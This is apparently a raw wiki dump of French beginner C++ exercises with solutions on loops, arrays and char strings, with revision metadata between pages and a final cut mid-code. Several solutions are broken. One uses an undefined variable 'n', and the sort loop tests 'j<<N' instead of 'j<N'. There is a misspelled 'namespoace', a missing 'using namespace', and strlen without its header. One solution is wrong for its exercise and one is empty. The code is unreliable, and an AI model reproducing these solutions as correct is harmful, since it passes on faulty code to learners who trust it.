algorithme usuel : calcul d'une suite récurrente assez difficile. *Modélisation d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> int main() { int N,u,i=0,v,w; cout<<"Tapez la valeur de N : ";cin>>N; u=3; v=2; if(N==0)w=u; else if(N==1)w=v; else for(i=2;i<=N;i++){w=i*v+(i+1)*u+i;u=v;v=w;} cout<<"u("<<N<<")="<<w<<endl; return 0; } </pre> }} ===EXERCICE 13 === Ecrire un programme qui demande de saisir 10 entiers et qui affiche le nombre d'occurrences de la note la plus haute. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un for. *Etude d'un algorithme usuel de difficulté moyenne : calcul du nombre d'occurence d'une valeur. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int nb,max,x,i; for(i=0;i<10;i++) { cout<<"Tapez un entier : ";cin>>x; if(i==0){max=x;nb=1;} else if(x==max)nb++; else if(max<x){max=x;nb=1;} } cout<<"le nombre d'occurences de "<<max<<" est "<<nb<<endl; return 0; } </pre> }} ===EXERCICE 14 === Ecrire un programme qui demande de saisir un entier N et qui affiche N!. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation du for. *Etude d'un algorithme usuel : calcul d'une factorielle. *Modélisation d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N,i,f=1; cout<<"Tapez un entier : ";cin>>N; for(i=2;i<=N;i++)f=f*i; cout<<N<<"! vaut "<<f<<endl; return 0; } </pre> }} ===EXERCICE 15 === Ecrire un programme qui demande de saisir un entier et qui indique si cet entier est premier ou non. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un while de difficulté moyenne. *Etude d'un algorithme usuel assez difficile : primarité d'un entier. *Modélisation d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int n; bool premier=true; int d=2; cout<<"Veuillez saisir un entier : ";cin>>n; if(n<=1)premier=false; else { while(premier==true && d*d<=n) if(n%d==0)premier=false; else d=d+1; } if(premier)cout<<n<<" est premier"<<endl; else cout<<n<<" n'est pas premier"<<endl; return 0; } </pre> }} ===EXERCICE 16 === Ecrire un programme qui demande à l'utilisateur de saisir un entier N et qui affiche le nombre de nombres premiers inférieurs ou égaux à N. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation des boucles for et while. *Imbrication de boucles. *Lire précisément un énoncé. *Modélisation assez complexe d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N,i,nb=0,d; bool est_premier; cout<<"Tapez la valeur de N : ";cin>>N; for(i=2;i<=N;i++) { /* ecrire un programme qui teste si i est premier*/ est_premier=true; d=2; while(est_premier && d*d<=i) if(i%d==0)est_premier=false; else d++; if(est_premier==true)nb++; } cout<<"Le nombre de nombre premiers inférieurs ou égaux à " <<N<<" est "<<nb<<endl; return 0; } </pre> }} ===EXERCICE 17=== Ecrire un programme qui demande à l'utilisateur de saisir un entier N et qui affiche le N-ième nombre premier. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation des boucles for et while. *Imbrication de boucles assez complexe. *Lire précisément un énoncé. *Modélisation assez complexe d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N,i=1,nb=0,d; bool est_premier; cout<<"Tapez la valeur de N : ";cin>>N; while(nb<N) { i++; est_premier=true; d=2; while(est_premier && d*d<=i) if(i%d==0)est_premier=false; else d++; if(est_premier==true)nb++; } cout<<"Le N-ième nombre premier est "<<i<<endl; return 0; } </pre> }} ===EXERCICE 18=== Ecrire un programme qui demande à l'utilisateur de saisir un entier N et qui affiche la figure suivante. <br/> <pre> N=1 * N=2 ** * N=3 *** ** * </pre> et ainsi de suite {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation des boucles for. *Imbrication de boucles assez complexe. Voici le fichier source : <pre> #include <iostream> using namespace std; int main() { int N=0; cout<<"Saisissez une valeur pour N: "; cin>>N; cout<<endl<<endl; cout<<"N= "<<n<<endl; for(int i=0;i<N;i++) { for(int j=0;j<(N-i);j++) { cout<<"*"; } cout<<endl; } system("pause"); return 0; }</pre> }} ===EXERCICE 19 === Ecrire un programme qui demande à l'utilisateur de saisir un entier N et qui affiche la figure suivante.<br/> <pre> N=1 * N=2 ** * N=3 *** ** * </pre> et ainsi de suite {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation des boucles for. *Imbrication de boucles. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i,j,N; cout<<"Tapez la valeur de N : ";cin>>N; for(i=1;i<=N;i++) { for(j=1;j<i;j++)cout<<" "; for(j=1;j<=N+1-i;j++)cout<<"*"; cout<<endl; } return 0; } </pre> }} ===EXERCICE 20=== On considère la suite hongroise : u(0)=a (a entier)<br/> si u(n) pair alors u(n+1)=u(n)/2 sinon u(n+1)=3*u(n)+1<br/> Pour toutes les valeurs a, il existe un entier N tel que u(N)=1 (conjecture admise).<br/> a) Ecrire un programme qui demande à l'utilisateur de taper a et qui affiche toutes les valeurs de u(n) de n=1 à n=N. <br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation du while. *Lire précisément un énoncé. *Modélisation assez complexe d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a,n,u; cout<<"Tapez la valeur de a : ";cin>>a; n=0; u=a; while(u!=1) { if(u%2==0)u=u/2; else u=3*u+1; n++; cout<<"u("<<n<<")="<<u<<endl; } return 0; } </pre> }} b) Ecrire un programme qui demande à l'utilisateur de taper un entier M puis qui cherche la valeur de a comprise entre 2 et M qui maximise la valeur de N. On appelle A cette valeur. La programme doit afficher la valeur A et la valeur N correspondante. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation du while et du for. *Imbrication de boucles. *Lire précisément un énoncé. *Modélisation assez complexe d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a,n,u,M,amax,nmax; cout<<"Tapez la valeur de M : ";cin>>M; amax=2; nmax=2; for(a=3;a<=M;a++) { n=0; u=a; while(u!=1) { if(u%2==0)u=u/2; else u=3*u+1; n++; } if(n>nmax){amax=a;nmax=n;} } cout<<"La valeur de A est :"<<amax<<endl; cout<<"La valeur de N correspondante est :"<<nmax<<endl; return 0; } </pre> }} Exercices en langage C++/IHM/Les tableaux 7676 43724 2006-06-01T19:44:44Z Boly38 136 révert petit vandalisme : retour à la version 10 mars 2006 à 14:29 Merrheim {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Les tableaux|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/Les tableaux 7677 40682 2006-04-21T17:34:52Z 196.206.137.140 /* EXERCICE 3 */ ==Les tableaux== ===EXERCICE 1=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau. Le programme doit afficher le nombre d'entiers supérieurs ou égaux à 10. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple de tableaux. *Un algorithme simple sur un tableau : recherche du nombre d'éléments vérifiant une propriété. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[10],i,nb=0; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} for(i=0;i<N;i++)if(t[i]>=10)nb++; cout<<"Le nombre d'entiers supérieurs ou égaux à 10 est : " <<nb<<endl; return 0; } </pre> }} ===EXERCICE 2=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau ainsi qu'un entier V. Le programme doit rechercher si V se trouve dans le tableau et afficher "V se trouve dans le tableau" ou "V ne se trouve pas dans le tableau". {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : recherche d'un élément dans un tableau. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],i,V; bool trouve; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} cout<<"Tapez la valeur de V : ";cin>>V; trouve=false; i=0; while(!trouve && i<N) if(t[i]==V)trouve=true; else i++; if(trouve) cout<<"La valeur V se trouve dans le tableau"<<endl; else cout<<"La valeur V ne se trouve pas dans le tableau"<<endl; return 0; } </pre> }} ===EXERCICE 3=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau. Le programme doit ensuite afficher l'indice du grand élément. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : recherche de l'indice du plus grand élément. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],i,indice; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} indice=0; for(i=1;i<N;i++) if(t[indice]<t[i])indice=i; cout<<"L'indice du plus grand élément est : "<<indice<<endl; return 0; } </pre> }} ===EXERCICE 4=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau ainsi qu'un entier V. Le programme doit rechercher si V se trouve dans le tableau et doit supprimer la première occurence de V en décalant d'une case vers la gauche les éléments suivants et en rajoutant un 0 à la fin du tableau. Le programme doit ensuite afficher le tableau final. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : supression d'un éléments avec décalage des suivants. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],i,j,V; bool trouve; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} cout<<"Tapez la valeur de V : ";cin>>V; trouve=false; i=0; while(!trouve && i<N) if(t[i]==V)trouve=true; else i++; if(trouve) { for(j=i;j<N-1;j++)t[j]=t[j+1]; t[N-1]=0; } for(i=0;i<N;i++)cout<<t[i]<<endl; return 0; } } </pre> }} ===EXERCICE 5=== Ecrire un programme qui demande à l'utilisateur de saisir 10 entiers stockés dans un tableau ainsi qu'un entier V et un entier i compris entre 0 et 9. Le programme doit décaler d'une case vers la droite tous les élements à partir de l'indice i (en supprimant le dernier élément du tableau) et doit mettre la valeur V dans le tableau à l'indice i. Le programme doit ensuite afficher le tableau final. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : insertion dans en tableau avec décalage. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],i,indice,V; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>t[i];} cout<<"Tapez un indice (de 0 à 9) : ";cin>>indice; cout<<"Tapez la valeur de V : ";cin>>V; if(indice>=0 && indice<=N-1) { for(i=N-1;i>indice;i--)t[i]=t[i-1]; t[indice]=V; } for(i=0;i<N;i++)cout<<t[i]<<endl; return 0; } </pre> }} ===EXERCICE 6=== Ecrire un programme qui demande à l’utilisateur de taper 10 entiers qui seront stockés dans un tableau. Le programme doit ensuite afficher soit "le tableau est croissant", soit "le tableau est décroissant", soit "le tableau est constant", soit "le tableau est quelconque". {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : vérifier si le tableau vérifie une propriété donnée. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],i; bool trouve=false; bool croissant=true,decroissant=true; for(i=0;i<N;i++) { cout<<"Veuillez taper l'entier numero "<<i<<" : ";cin>>a[i]; } for(i=0;i<N-1;i++) { if(a[i]>a[i+1])croissant=false; if(a[i]<a[i+1])decroissant=false; } if(croissant && decroissant) cout<<"le tableau est constant"<<endl; if(croissant && !decroissant) cout<<"le tableau est croissant"<<endl; if(!croissant && decroissant) cout<<"le tableau est decroissant"<<endl; if(!croissant && !decroissant) cout<<"le tableau est quelconque"<<endl; return 0; } </pre> }} ===EXERCICE 7=== Ecrire un programme qui demande à l’utilisateur de taper 10 entiers qui seront stockés dans un tableau. Le programme doit trier le tableau par ordre croissant et doit afficher le tableau.<br/> '''Algorithme suggéré : ''' <br/> On cherche l'indice du plus petit élément parmi les indices de 0 à 9 et on échange cet élément avec t[0]. <br/> On cherche l'indice du plus petit élément parmi les indices de 1 à 9 et on échange cet élément avec t[1]. <br/> On cherche l'indice du plus petit élément parmi les indices de 2 à 9 et on échange cet élément avec t[2]. <br/> ... On cherche l'indice du plus petit élément parmi les indices de 8 à 9 et on échange cet élément avec t[8]. <br/> {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : tri d'un tableau. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],i,j,min,imin,tmp; for(i=0;i<N;i++) { cout<<"Veuillez taper l'entier numero "<<i<<" : ";cin>>a[i]; } for(i=0;i<N-1;i++) { imin=i;min=a[i]; for(j=i+1;j<<N;j++)if(a[j]<min){min=a[j];imin=j;} tmp=a[imin];a[imin]=a[i];a[i]=tmp; } cout<<"VOICI LE TABLEAU TRIE :"<<endl; for(i=0;i<N;i++)cout<<"a["<<i<<"]="<<a[i]<<endl; return 0; } </pre> }} ===EXERCICE 8=== Ecrire un programme qui demande à l’utilisateur de taper 10 entiers qui seront stockés dans un tableau. Le programme doit trier le tableau par ordre croissant et doit afficher le tableau.<br/> '''Algorithme suggéré (tri bulle) :''' <br/> On parcourt le tableau en comparant t[0] et t[1] et en échangeant ces éléments s'ils ne sont pas dans le bon ordre. <br/> on recommence le processus en comparant t[1] et t[2],... et ainsi de suite jusqu'à t[8] et t[9]. <br/> On compte lors de ce parcours le nombre d'échanges effectués. <br/> On fait autant de parcours que nécessaire jusqu'à ce que le nombre d'échanges soit nul : le tableau sera alors trié. <br/> {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : tri d'un tableau. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],i,nb,tmp; for(i=0;i<N;i++) {cout<<"Veuillez taper l'entier numero "<<i<<" : ";cin>>a[i];} do { nb=0; for(i=0;i<N-1;i++) if(a[i]>a[i+1]) { tmp=a[i];a[i]=a[i+1];a[i+1]=tmp; nb++; } }while(nb!=0); cout<<"VOICI LE TABLEAU TRIE :"<<endl; for(i=0;i<N;i++)cout<<"a["<<i<<"]="<<a[i]<<endl; return 0; } </pre> }} ===EXERCICE 9=== Ecrire un programme qui saisit 2 tableaux de 10 entiers a et b. c est un tableau de 20 entiers. Le programme doit mettre dans c la fusion des tableaux a et b. On copiera dans les 10 premières cases de c le tableau a, dans les dix dernières le tableau b. Le programme affiche ensuite le tableau c. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Un algorithme simple sur un tableau : fusion de 2 tableaux. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],b[N],c[2*N],i; cout<<"SAISIE DU TABLEAU a"<<endl; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>a[i];} cout<<"SAISIE DU TABLEAU b"<<endl; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>b[i];} for(i=0;i<2*N;i++)if(i<N)c[i]=a[i];else c[i]=b[i-N]; cout<<"VOICI LE TABLEAU c"<<endl; for(i=0;i<2*N;i++)cout<<c[i]<<" "; cout<<endl; return 0; } </pre> }} ===EXERCICE 10=== Ecrire un programme qui saisit 2 tableaux de 10 entiers a et b qui doivent être triés dans l'ordre croissant. Le programme devra tout d'abord vérifier que les deux tableaux sont triés. Le tableau c est un tableau de 20 entiers. Le programme doit mettre dans c la fusion des tableaux a et b. Le tableau c devra contenir les éléments de a et ceux de b et devra être trié. Le programme affiche ensuite le tableau c. {{Boîte déroulante|titre=Solution|contenu = <pre> #include<iostream> using namespace std; const int N=10; int main() { int a[N],b[N],c[2*N],i,trie,indicea,indiceb; cout<<"SAISIE DU TABLEAU a"<<endl; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>a[i];} cout<<"SAISIE DU TABLEAU b"<<endl; for(i=0;i<N;i++){cout<<"Tapez un entier ";cin>>b[i];} trie=true; i=0; while(trie && i<N-1)if(a[i]>a[i+1])trie=false; else i++; if(!trie)cout<<"Le tableau a n'est pas trié"<<endl; else { trie=true; i=0; while(trie && i<N-1)if(b[i]>b[i+1])trie=false; else i++; if(!trie)cout<<"Le tableau b n'est pas trié"<<endl; else { indicea=0;indiceb=0; for(i=0;i<2*N;i++) { if(indicea==N){c[i]=b[indiceb];indiceb++;} else if(indiceb==N){c[i]=a[indicea];indicea++;} else if(a[indicea]<b[indiceb]){c[i]=a[indicea];indicea++;} else {c[i]=b[indiceb];indiceb++;} } } } cout<<"VOICI LE TABLEAU c"<<endl; for(i=0;i<2*N;i++)cout<<c[i]<<" "; cout<<endl; return 0; } </pre> }} ===EXERCICE 11 === Ecrire un programme qui gère une liste d'entiers grâce au menu suivant : <br/> 1. Ajouter un entier<br/> 2. Afficher la liste des entiers <br/> 3. Supprimer dernier entier de la liste. <br/> 4. Afficher la dernière note tapée<br/> 5. Quitter<br/> Il y aura au maximum 10 entiers. Lorsqu'on rajoute un entier, il sera rajouté à la fin de la liste.<br/> {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Festion d'une liste simple grâce à un tableau statique. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],nb=0,choix,e,i; bool fini=false; while(fini==false) { cout<<"1. Ajouter un entier"<<endl; cout<<"2. Afficher la liste des entier"<<endl; cout<<"3. Supprimer le dernièr entier de la liste"<<endl; cout<<"4. Afficher le dernier entier de la liste"<<endl; cout<<"5. Quitter"<<endl; cout<<"Votre choix : ";cin>>choix; switch(choix) { case 1 : cout<<"Tapez un entier : ";cin>>e; if(nb<N){t[nb]=e; nb++; cout<<"ENTIER AJOUTE"<<endl;} else cout<<"IMPOSSIBLE LE TABLEAU EST PLEIN"<<endl; break; case 2 : if(nb==0)cout<<"LA LISTE EST VIDE"<<endl; else { cout<<"VOICI LA LISTE"<<endl; for(i=0;i<nb;i++)cout<<t[i]<<" "; cout<<endl; } break; case 3 : if(nb>0){nb--; cout<<"ENTIER SUPPRIME"<<endl;} else cout<<"LA LISTE EST VIDE"<<endl; break; case 4 : if(nb>0)cout<<"lLE DERNIER ENTIER EST "<<t[nb-1]<<endl; else cout<<"LA LISTE EST VIDE"<<endl; break; case 5 : fini=true; break; } } return 0; } </pre> }} ===EXERCICE 12 === Ecrire un programme qui gère une liste d'entiers grâce au menu suivant : <br/> 1. Ajouter un entier<br/> 2. Afficher la liste des entiers<br/> 3. Supprimer le premier entier ayant une valeur donnée.<br/> 4. Supprimer tous les entiers ayant une valeur donnée<br/> 5. Quitter<br/> Il y aura au maximum 10 entiers. La liste devra être en permanence triée : lorqu'on rajoute un entier, il sera inséré au bon endroit dans la liste pour que celle-ci reste triée. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Gestion d'une liste triée grâce à un tableau statique. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=10; int main() { int t[N],nb=0,choix,e,V,i,j,trouve; bool fini=false; while(fini==false) { cout<<"1. Ajouter un entier"<<endl; cout<<"2. Afficher la liste des entier"<<endl; cout<<"3. Supprimer le premier entier ayant une valeur donnée"<<endl; cout<<"4. Supprimer tous les entiers ayant une valeur donnée"<<endl; cout<<"5. Quitter"<<endl; cout<<"Votre choix : ";cin>>choix; switch(choix) { case 1 : if(nb<N) { cout<<"Tapez un entier : ";cin>>e; i=0; while(i!=nb && t[i]<e)i++; for(j=nb;j>i;j--)t[j]=t[j-1]; t[i]=e; nb++; } else cout<<"IMPOSSIBLE LE TABLEAU EST PLEIN"<<endl; break; case 2 : if(nb==0)cout<<"LA LISTE EST VIDE"<<endl; else { cout<<"VOICI LA LISTE"<<endl; for(i=0;i<nb;i++)cout<<t[i]<<" "; cout<<endl; } break; case 3 : cout<<"Tapez la valeur à supprimer :";cin>>V; trouve=false; i=0; while(!trouve && i<nb)if(t[i]==V)trouve=true; else i++; if(trouve) { for(j=i;j<nb-1;j++)t[j]=t[j+1]; nb--; } break; case 4 : cout<<"Tapez la valeur à supprimer :";cin>>V; j=0; for(i=0;i<nb;i++) if(t[i]!=V){t[j]=t[i];j++;} nb=j; break; case 5 : fini=true; break; } } return 0; } </pre> }} ===EXERCICE 13 === Ecrire un programme qui demande à l'utilisateur de taper un entier N<=20 et qui affiche la N-ième ligne du triangle de pascal.<br/> ligne 1 : 1 1<br/> ligne 2 : 1 2 1<br/> ligne 3 : 1 3 3 1<br/> ligne 4 : 1 4 6 4 1<br/> et ainsi de suite ...<br/> {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation simple de tableaux. **Gestion d'une liste triée grâce à un tableau statique. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a[21],i,j,N; cout<<"Veuillez taper N : ";cin>>N; for(i=1;i<=N;i++) { if(i==1)a[0]=1; a[i]=1; for(j=i-1;j>=1;j--)a[j]=a[j]+a[j-1]; } for(i=0;i<=N;i++)cout<<a[i]<<" "; cout<<endl; return 0; } </pre> }} ===EXERCICE 14 === Ecrire un programme qui demande à l'utilisateur de taper 10 entiers compris entre 0 et 20 qui seront stockés dans un tableau et qui affiche le nombre de fois qu'on a tapé un 0, le nombre de 1, le nombre de 2, ..., le nombre de 20. {{Boîte déroulante|titre=Solution|contenu = <pre> #include<iostream> using namespace std; int main() { int a[10],nb[21],i; for(i=0;i<10;i++) { do {cout<<"Veuillez taper l'entier numero "<<i<<" : ";cin>>a[i];} while (a[i]>20 || a[i]<0); } for(i=0;i<21;i++)nb[i]=0; for(i=0;i<10;i++)nb[a[i]]++; for(i=0;i<21;i++){cout<<"Il y a "<<nb[i]<<" fois l'entier "<<i<<endl;} return 0; } </pre> }} ===EXERCICE 15 === Ecrire un programme qui demande à l'utilisateur de taper le contenu d'un tableau de réels de 3 lignes et 3 colonnes et qui affiche ce tableau mais en affichant la moyenne des éléments de chaque ligne, de chaque colonne et la moyenne globale. {{Boîte déroulante|titre=Solution|contenu = *Cet exercice a pour but de vérifier les points techniques suivants : **Utilisation de tableaux à 2 dimensions. **Modélisation d'un problème mathématique basique. *Voici le fichier source : <pre> #include<iostream> using namespace std; const int N=3; const int M=3; int main() { double t[N][M],moyL[N],moyC[M],moy; int i,j; for(i=0;i<N;i++) for(j=0;j<M;j++) { cout<<"Tapez la valeur de la ligne "<<i<<" colonne "<<j<<" : "; cin>>t[i][j]; } for(i=0;i<N;i++)moyL[i]=0; for(j=0;j<M;j++)moyC[j]=0; moy=0; for(i=0;i<N;i++) for(j=0;j<M;j++) { moyL[i]=moyL[i]+t[i][j]; moyC[j]=moyC[j]+t[i][j]; moy=moy+t[i][j]; } for(i=0;i<N;i++)moyL[i]=moyL[i]/N; for(j=0;j<M;j++)moyC[j]=moyC[j]/M; moy=moy/(N*M); for(i=0;i<N;i++) { for(j=0;j<M;j++) cout<<t[i][j]<<" "; cout<<moyL[i]<<endl; } for(j=0;j<M;j++) cout<<moyC[j]<<" "; cout<<endl; return 0; } </pre> }} Exercices en langage C++/IHM/Les tableaux de char 7678 36941 2006-03-10T13:31:36Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Les tableaux de char|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/IHM/Les structures 7679 36942 2006-03-10T13:31:50Z Merrheim 1032 {{Exercices en langage C++}} {{C++/Sous section|width=70%|nom=Exercices en langage C++/Les structures|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} Exercices en langage C++/Les tableaux de char 7680 37542 2006-03-14T09:00:25Z Merrheim 1032 /* Les tableaux de char */ ==Les tableaux de char== ===EXERCICE 1=== Ecrire une fonction qui a en paramètres une chaîne de caractères (paramètre en entrée) et un entier e (paramètre en sortie). Cette fonction renvoie un booléen. La fonction renvoie true si la chaîne de caractères est un entier écrit sous la forme d'une suite de chiffres qui ne commence pas par 0, elle renvoie false sinon. Si la chaîne est correcte, la fonction renvoie dans e la valeur de cet entier. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *La validation d'une chaîne de caractères. *Transformation d'une chaîne vers un autre type. *Voici le fichier source : <pre> #include<iostream> using namespace std; bool valide_entier(char t[],int &e) { bool valide=true; int i=0; e=0; if(t[0]<'1' || t[0]>'9')valide=false; while(valide && t[i]!='\0') { if(t[i]>='0' && t[i]<='9'){e=10*e+(t[i]-'0');i++;} else valide=false; } return valide; } int main() { int a; char t[20]; do{cout<<"Tapez une chaine :";cin>>t;}while(!valide_entier(t,a)); cout<<"L'entier vaut :"<<a<<endl; return 0; } </pre> }} ===EXERCICE 2=== Ecrire une fonction qui a en paramètre une chaîne de caractères (paramètre en entrée et en sortie) et qui transforme toutess les minuscules de la chaîne en majuscules. {{Boîte déroulante|titre=Solution|contenu = <pre> </pre> }} ===EXERCICE 3=== Ecrire une fonction qui a en paramètre une chaîne de caractères (paramètre en entrée et en sortie) et qui supprime toutes les voyelles. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *Transformation d'une chaîne de caractrères. *Majuscules et minuscules. *Voici le fichier source : <pre> #include<iostream> using namespace std; void minmaj(char t[]) { int i=0; while(t[i]!='\0') { if(t[i]>='a' && t[i]<='z')t[i]=t[i]+('A'-'a'); i++; } } int main() { char a[50]; cout<<"Tapez une chaine svp :";cin>>a; minmaj(a); cout<<"La chaine finale est :"<<a<<endl; return 0; } </pre> }} ===EXERCICE 4=== Ecrire une fonction qui a en paramètres deux chaînes de caractères ch1 et ch2 (paramètres en entrée) et renvoie un booléen indiquant si la chaîne ch2 est contenue dans la chaîne ch1. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *Recherche d'une chaîne incluse dans une autre chaîne. *Voici le fichier source : <pre> #include<iostream> using namespace std; bool contient(char ch1[],char ch2[]) { int ii=0,i=0,j=0; bool fini,trouve; trouve=false; fini=false; while(!trouve && !fini) { if(ch1[ii]==ch2[j]) { ii++;j++; if(ch2[j]=='\0')trouve=true; } else { i++;ii=i;j=0; } if(ch1[ii]=='\0')fini=true; } return trouve; } int main() { char a[50],b[50]; cout<<"Tapez une chaine svp :"; cin>>a; cout<<"Tapez une chaine svp :"; cin>>b; if(contient(a,b))cout<<"la premiere chaine contient la seconde"<<endl; else cout<<"la premiere chaine ne contient pas la seconde"<<endl; return 0; } </pre> }} ===EXERCICE 5=== Ecrire un programme qui demande à l'utilisateur de taper un verbe du premier groupe et qui le conjugue à l'indicatif présent. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *La construction d'une chaîne à partir d'une autre. *Voici le fichier source : <pre> #include<iostream> using namespoace std; int main() { char tt[20]; cout<<"Tapez un verbe du premier groupe : "; cin>>tt; int i; i=strlen(tt); if(i<=2 || tt[i-1]!='r' || tt[i-2]!='e') cout<<"le verbe n'est pas du premier groupe"<<endl; else { tt[i-2]='\0'; cout<<"je "<<tt<<"e"<<endl; cout<<"tu "<<tt<<"es"<<endl; cout<<"il "<<tt<<"e"<<endl; cout<<"nous "<<tt<<"ons"<<endl; cout<<"vous "<<tt<<"ez"<<endl; cout<<"ils "<<tt<<"ent"<<endl; } return 0; } </pre> }} ===EXERCICE 6=== Ecrire un programme qui saisit une chaîne pouvant contenir des espaces et qui affiche chaque mot de la chaîne, le séparateur étant l'espace. <br/> Exemple, on tape : '''je pense donc je suis'''<br/> Le programme affiche :<br/> mot 1 : je<br/> mot 2 : pense<br/> mot 3 : donc<br/> mot 4 : je<br/> mot 5 : suis<br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *Analyse syntaxique d'une chaîne de caractères. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { char t[50]; char mot[50]; int i=0,j=0,state=1,num=0; cout<<"Tapez une phrase : ";cin.getline(t,50); while(t[i]!='\0'){ if(state==1) { if(t[i]!=' ') { state=2;j=0;mot[0]=t[i];j++; } } else { if(t[i]!=' '){mot[j]=t[i];j++;} else { state=1; num++; mot[j]='\0'; cout<<"mot "<<num<<" : "<<mot<<endl; } } i++; } if(state==2) { num++; mot[j]='\0'; cout<<"mot "<<num<<" : "<<mot<<endl; } return 0; } </pre> }} ===EXERCICE 7=== Ecrire un programme qui demande à l'utilisateur de taper une chaîne de caractères et qui indique si cette chaîne est un palyndrôme ou non. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *validation d'une chaîne. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { char t[50]; int i,j; bool palyn; palyn=true; cout<<"Tapez une chaîne : ";cin>>t; i=0; j=strlen(t)-1; while(palyn==true && i<j) 